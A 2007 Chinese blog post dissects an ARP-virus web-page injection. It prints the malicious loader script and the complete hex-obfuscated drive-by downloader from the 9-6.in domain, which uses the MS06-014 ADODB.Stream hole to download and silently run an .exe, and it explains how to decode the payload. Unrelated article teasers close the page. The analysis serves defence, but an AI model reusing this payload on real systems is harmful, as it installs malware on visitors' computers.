解析arp病毒背后利用的Javascript技术
作者:veking 来源:veking的BLOG 发布时间:2007-08-08 09:55:00
本文的目的是探讨JS相关技术,并不是以杀毒为主要目的,杀毒只是为讲解一些JS做铺垫的,呵呵,文章有点长,倒杯咖啡或者清茶慢慢看,学习切勿急躁!
最近公司的网络中了这两天闹的很欢的ARP病毒,导致大家都无法上网,给工作带来了很大的不方便,在这里写下杀毒的过程,希望对大家能有帮助!
现象:打开部分网页显示为乱码,好像是随机的行为,但是看似又不是,因为它一直在监视msn.com,呵呵,可能和微软有仇吧,继续查看源代码,发现头部有一个js文件链接----<script src=http://9-6.in/n.js></script>;
来源:经过一番网络搜索,发现这个域名是印度域名,而IP地址却是美国的,而且域名的注册日期是7月25日,看来一切都是预谋好了的,还是不管这个了,先解决问题吧;
分析:
1、先把(http://9-6.in/n.js)这个JS文件下载下来,代码如下:
document.writeln("<script>window.onerror=function(){return true;}<\/script>");
document.writeln("<script src=\"http:\/\/9-6.in\/S368\/NewJs2.js\"><\/script>");
document.writeln("<script>");
document.writeln("function StartRun(){");
document.writeln("var Then = new Date() ");
document.writeln("Then.setTime(Then.getTime() + 24*60*60*1000)");
document.writeln("var cookieString = new String(document.cookie)");
document.writeln("var cookieHeader = \"Cookie1=\" ");
document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)");
document.writeln("if (beginPosition != -1){ ");
document.writeln("} else ");
document.writeln("{ document.cookie = \"Cookie1=POPWINDOS;expires=\"+ Then.toGMTString() ");
document.writeln("document.write(\’<iframe width=0 height=0 src=\"http:\/\/9-6.IN\/s368\/T368.htm\"><\/iframe>\’);");
document.writeln("}");
document.writeln("}");
document.writeln("StartRun();");
document.writeln("<\/script>")
其中第一句window.onerror=function(){return true;}就先把JS错误屏蔽掉,真够狠的,呵呵,不这样怎么隐藏自己呢,哈哈!然后还有个JS文件http://9-6.in/S368/NewJs2.js,先继续往下看,找到StartRun();运行一个函数,函数的主要作用是写COOKIE,日期为保存一天,然后还用隐藏框架加载了一个文件(http://9-6.IN/s368/T368.htm),其余就没有什么特别的了;
2、下载(http://9-6.in/S368/NewJs2.js)这个文件,代码如下:
StrInfo = "\x3c\x73\x63\x72\x69\x70\x74\x3e\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x65\x72\x72\x6f\x72\x3d\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x29\x7b\x72\x65\x74\x75\x72\x6e \x74\x72\x75\x65\x3b\x7d\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e" +"\n"+
"\x3c\x73\x63\x72\x69\x70\x74\x3e" +"\n"+
" \x44\x5a\x3d\’\\\x78\x36\x38\\\x78\x37\x34\\\x78\x37\x34\\\x78\x37\x30\\\x78\x33\x41\\\x78\x32\x46\\\x78\x32\x46\\\x78\x33\x39\\\x78\x32\x44\\\x78\x33\x36\\\x78\x32\x45\\\x78\x36\x39\\\x78\x36\x45\\\x78\x32\x46\\\x78\x35\x33\\\x78\x33\x33\\\x78\x33\x36\\\x78\x33\x38\\\x78\x32\x46\\\x78\x35\x33\\\x78\x33\x33\\\x78\x33\x36\\\x78\x33\x38\\\x78\x32\x45\\\x78\x36\x35\\\x78\x37\x38\\\x78\x36\x35\’\x3b" +"\n"+
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\’\’\x3b" +"\n"+
"\x66\x75\x6e\x63\x74\x69\x6f\x6e \x47\x6e\x4d\x73\x28\x6e\x29 " +"\n"+
"\x7b " +"\n"+
" \x76\x61\x72 \x6e\x75\x6d\x62\x65\x72\x4d\x73 \x3d \x4d\x61\x74\x68\x2e\x72\x61\x6e\x64\x6f\x6d\x28\x29\x2a\x6e\x3b" +"\n"+
" \x72\x65\x74\x75\x72\x6e \’\\\x78\x37\x45\\\x78\x35\x34\\\x78\x36\x35\\\x78\x36\x44\\\x78\x37\x30\’\x2b\x4d\x61\x74\x68\x2e\x72\x6f\x75\x6e\x64\x28\x6e\x75\x6d\x62\x65\x72\x4d\x73\x29\x2b\’\\\x78\x32\x45\\\x78\x37\x34\\\x78\x36\x44\\\x78\x37\x30\’\x3b" +"\n"+
"\x7d " +"\n"+
" \x74\x72\x79 " +"\n"+
"\x7b" +"\n"+
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\’\’\x3b" +"\n"+
" \x76\x61\x72 \x42\x66\x3d\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\"\\\x78\x36\x46\\\x78\x36\x32\\\x78\x36\x41\\\x78\x36\x35\\\x78\x36\x33\\\x78\x37\x34\"\x29\x3b" +"\n"+
" \x42\x66\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\"\\\x78\x36\x33\\\x78\x36\x43\\\x78\x36\x31\\\x78\x37\x33\\\x78\x37\x33\\\x78\x36\x39\\\x78\x36\x34\"\x2c\"\\\x78\x36\x33\\\x78\x36\x43\\\x78\x37\x33\\\x78\x36\x39\\\x78\x36\x34\\\x78\x33\x41\\\x78\x34\x32\\\x78\x34\x34\\\x78\x33\x39\\\x78\x33\x36\\\x78\x34\x33\\\x78\x33\x35\\\x78\x33\x35\\\x78\x33\x36\\\x78\x32\x44\\\x78\x33\x36\\\x78\x33\x35\\\x78\x34\x31\\\x78\x33\x33\\\x78\x32\x44\\\x78\x33\x31\\\x78\x33\x31\\\x78\x34\x34\\\x78\x33\x30\\\x78\x32\x44\\\x78\x33\x39\\\x78\x33\x38\\\x78\x33\x33\\\x78\x34\x31\\\x78\x32\x44\\\x78\x33\x30\\\x78\x33\x30\\\x78\x34\x33\\\x78\x33\x30\\\x78\x33\x34\\\x78\x34\x36\\\x78\x34\x33\\\x78\x33\x32\\\x78\x33\x39\\\x78\x34\x35\\\x78\x33\x33\\\x78\x33\x36\"\x29\x3b" +"\n"+
" \x76\x61\x72 \x4b\x78\x3d\x42\x66\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\"\\\x78\x34\x44\\\x78\x36\x39\\\x78\x36\x33\\\x78\x37\x32\\\x78\x36\x46\\\x78\x37\x33\\\x78\x36\x46\\\x78\x36\x36\\\x78\x37\x34\\\x78\x32\x45\\\x78\x35\x38\"\x2b\"\\\x78\x34\x44\\\x78\x34\x43\\\x78\x34\x38\\\x78\x35\x34\\\x78\x35\x34\\\x78\x35\x30\"\x2c\"\"\x29\x3b" +"\n"+
" \x76\x61\x72 \x41\x53\x3d\x42\x66\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\"\\\x78\x34\x31\\\x78\x36\x34\\\x78\x36\x46\\\x78\x36\x34\\\x78\x36\x32\\\x78\x32\x45\\\x78\x35\x33\\\x78\x37\x34\\\x78\x37\x32\\\x78\x36\x35\\\x78\x36\x31\\\x78\x36\x44\"\x2c\"\"\x29\x3b" +"\n"+
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\’\’\x3b" +"\n"+
" \x41\x53\x2e\x74\x79\x70\x65\x3d\x31\x3b" +"\n"+
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\’\’\x3b" +"\n"+
" \x4b\x78\x2e\x6f\x70\x65\x6e\x28\"\\\x78\x34\x37\\\x78\x34\x35\\\x78\x35\x34\"\x2c \x44\x5a\x2c\x30\x29\x3b" +"\n"+
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\’\’\x3b" +"\n"+
" \x4b\x78\x2e\x73\x65\x6e\x64\x28\x29\x3b" +"\n"+
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\’\’\x3b" +"\n"+
" \x4e\x73\x31\x3d\x47\x6e\x4d\x73\x28\x39\x39\x39\x39\x29\x3b" +"\n"+
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\’\’\x3b" +"\n"+
" \x76\x61\x72 \x63\x46\x3d\x42\x66\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\"\\\x78\x35\x33\\\x78\x36\x33\\\x78\x37\x32\\\x78\x36\x39\\\x78\x37\x30\\\x78\x37\x34\\\x78\x36\x39\\\x78\x36\x45\\\x78\x36\x37\\\x78\x32\x45\\\x78\x34\x36\\\x78\x36\x39\\\x78\x36\x43\\\x78\x36\x35\\\x78\x35\x33\\\x78\x37\x39\\\x78\x37\x33\\\x78\x37\x34\\\x78\x36\x35\\\x78\x36\x44\\\x78\x34\x46\\\x78\x36\x32\\\x78\x36\x41\\\x78\x36\x35\\\x78\x36\x33\\\x78\x37\x34\"\x2c\"\"\x29\x3b" +"\n"+
" \x76\x61\x72 \x4e\x73\x54\x6d\x70\x3d\x63\x46\x2e\x47\x65\x74\x53\x70\x65\x63\x69\x61\x6c\x46\x6f\x6c\x64\x65\x72\x28\x30\x29\x3b \x4e\x73\x31\x3d \x63\x46\x2e\x42\x75\x69\x6c\x64\x50\x61\x74\x68\x28\x4e\x73\x54\x6d\x70\x2c\x4e\x73\x31\x29\x3b \x41\x53\x2e\x4f\x70\x65\x6e\x28\x29\x3b\x41\x53\x2e\x57\x72\x69\x74\x65\x28\x4b\x78\x2e\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79\x29\x3b" +"\n"+
" \x41\x53\x2e\x53\x61\x76\x65\x54\x6f\x46\x69\x6c\x65\x28\x4e\x73\x31\x2c\x32\x29\x3b \x41\x53\x2e\x43\x6c\x6f\x73\x65\x28\x29\x3b \x76\x61\x72 \x71\x3d\x42\x66\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\"\\\x78\x35\x33\\\x78\x36\x38\\\x78\x36\x35\\\x78\x36\x43\\\x78\x36\x43\\\x78\x32\x45\\\x78\x34\x31\\\x78\x37\x30\\\x78\x37\x30\\\x78\x36\x43\\\x78\x36\x39\\\x78\x36\x33\\\x78\x36\x31\\\x78\x37\x34\\\x78\x36\x39\\\x78\x36\x46\\\x78\x36\x45\"\x2c\"\"\x29\x3b" +"\n"+
" \x6f\x6b\x31\x3d\x63\x46\x2e\x42\x75\x69\x6c\x64\x50\x61\x74\x68\x28\x4e\x73\x54\x6d\x70\x2b\’\\\x78\x35\x43\\\x78\x35\x43\\\x78\x37\x33\\\x78\x37\x39\\\x78\x37\x33\\\x78\x37\x34\\\x78\x36\x35\\\x78\x36\x44\\\x78\x33\x33\\\x78\x33\x32\’\x2c\’\\\x78\x36\x33\\\x78\x36\x44\\\x78\x36\x34\\\x78\x32\x45\\\x78\x36\x35\\\x78\x37\x38\\\x78\x36\x35\’\x29\x3b" +"\n"+
" \x71\x2e\x53\x48\x65\x4c\x4c\x45\x78\x65\x63\x75\x74\x65\x28\x6f\x6b\x31\x2c\’\\\x78\x32\x30\\\x78\x32\x46\\\x78\x36\x33 \’\x2b\x4e\x73\x31\x2c\"\"\x2c\"\\\x78\x36\x46\\\x78\x37\x30\\\x78\x36\x35\\\x78\x36\x45\"\x2c\x30\x29\x3b" +"\n"+
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\’\’\x3b" +"\n"+
"\x7d " +"\n"+
" \x63\x61\x74\x63\x68\x28\x4d\x73\x49\x29 \x7b \x4d\x73\x49\x3d\x31\x3b \x7d" +"\n"+
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\’\’\x3b" +"\n"+
"\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e"
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"](StrInfo);
这个代码有点长哦,而且有保护措施,全部转换为十六进制,不过不要害怕,我们有办法解决,首先得确保你已经安装了UE,然后打开UE,把代码粘贴进去(废话,呵呵),把\x替换为%,然后用html代码转换功能,解码,就可以得到第一次解码的代码,第一次???,呵呵,这个代码的作者很变态的,做了两次编码,所以我得进行两次解码才行,重复刚才的步骤,然后你就可以看到最终的“原始”代码了;
具体的代码我就不帖出来了,有一定的危害性,相信大家看了上面的步骤都能自己找到代码,这里之说一下比较核心的代码吧;
//核心代码
" var Bf=document.createElement(\"\o\b\j\e\c\t\");" +"\n"+
" Bf.setAttribute(\"\c\l\a\s\s\i\d\",\"\c\l\s\i\d\:\B\D\9\6\C\5\5\6\-\6\5\A\3\-\1\1\D\0\-\9\8\3\A\-\0\0\C\0\4\F\C\2\9\E\3\6\");" +"\n"+
" var Kx=Bf.CreateObject(\"\M\i\c\r\o\s\o\f\t\.\X\"+\"\M\L\H\T\T\P\",\"\");" +"\n"+
" var AS=Bf.CreateObject(\"\A\d\o\d\b\.\S\t\r\e\a\m\",\"\");" +"\n"+
.............
" var cF=Bf.CreateObject(\"\S\c\r\i\p\t\i\n\g\.\F\i\l\e\S\y\s\t\e\m\O\b\j\e\c\t\",\"\");" +"\n"+
" var NsTmp=cF.GetSpecialFolder(0); Ns1= cF.BuildPath(NsTmp,Ns1); AS.Open();AS.Write(Kx.responseBody);" +"\n"+
" AS.SaveToFile(Ns1,2); AS.Close(); var q=Bf.CreateObject(\"\S\h\e\l\l\.\A\p\p\l\i\c\a\t\i\o\n\",\"\");" +"\n"+
" ok1=cF.BuildPath(NsTmp+\’\\\\\s\y\s\t\e\m\3\2\’,\’\c\m\d\.\e\x\e\’);" +"\n"+
" q.SHeLLExecute(ok1,\’\ \/\c \’+Ns1,\"\",\"\o\p\e\n\",0);" +"\n"+
上面的就是最为核心的代码,利用MS0614漏洞、创建JS异步对象获取病毒(*.exe)文件,然后运行,这样就达到它的目的啦!


猜你喜欢
- 本文为大家分享了python2.7.14的安装教程,供大家参考,具体内容如下1.下载python2.7.14下载地址根据自己电脑配置进行选择
- 项目现状项目是一个数据监测平台,引入了ehcart和three.js 负责项目的数据可视化;打包后,体积高达2.1M,这个体积相比于我的项目
- 在网站建设中,分类算法的应用非常的普遍。在设计一个电子商店时,要涉及到商品分类;在设计发布系统时,要涉及到栏目或者频道分类;在设计软件下载这
- 本文实例讲述了Python使用正则表达式过滤或替换HTML标签的方法。分享给大家供大家参考,具体如下:python正则表达式关键内容:pyt
- Python是一种广泛使用的编程语言,特别是在数据分析、机器学习和人工智能领域。在Python中,字符串是一个非常重要的数据类型,可用来存储
- Web 前端优化最佳实践第三部分面向 Cookie 。目前只有 2 条实践规则。1. 缩小 Cookie (Reduce Cook
- Vision Transformer(VIT)Vision Transformer(ViT)是一种新兴的图像分类模型,它使用了类似于自然语言
- Python pywifi ERROR Open handle failed这个问题的网上的资料很少,可能是因为简单吧。这里记录下解决办法。
- 一、tensorboard的简要介绍TensorBoard是一个独立的包(不是pytorch中的),这个包的作用就是可视化您模型中的各种参数
- 这是个老话题了,之所以再拿出来说,是因为浏览器一直在进步,以前最好的方法现在不一定是最好的。1 如何进行字符串连接?首先让我们来回顾一下字符
- 本文实例讲述了Python使用中文正则表达式匹配指定中文字符串的方法。分享给大家供大家参考,具体如下:业务场景:从中文字句中匹配出指定的中文
- mysql字符串格式化今天有一个需求,mysql查询返回的格式为:80% ,而数据库中存储的是0.89的格式sql写法如下:select C
- 执行时间方法1import datetimestarttime = datetime.datetime.now()#long running
- 为什么使用三方支付? 再没有三方支付平台之前,用户发起支付请求的时候,用户要去和银行签约(转账),特别的不方便,为了解决这些问题,就有了三
- 使用数据库的过程中,由于断电或其他原因,有可能导致数据库出现一些小错误,比如检索某些表特别慢,查询不到符合条件的数据等。出现这些情况的原因,
- 在学习傅里叶变换的时候遇到了求周期方波信号频谱图的例子,在书上和网上查阅了一些资料,发现大都是讨论的都是下图左边的周期信号的频谱,课程老师的
- 在上一篇文章中我们提到热拷贝(MySQL备份与恢复之热
- 区块链概念狭义:区块链是一种按照时间顺序将数据区块以顺序相连的方式组合成的一种链式数据结构,并以密码方式保证的不可篡改和不可伪造的分布式账本
- 在本文中,我将说明如何用SQL Server的工具来优化数据库索引的使用,本文还涉及到有关索引的一般性知识。 关于索引的常识 影响到数据
- 引言我们将学习如何构建一个终端应用程序(CLI应用程序)来管理我们的通讯录我们将使用type来构建CLI应用程序,使用Rich来创建彩色终端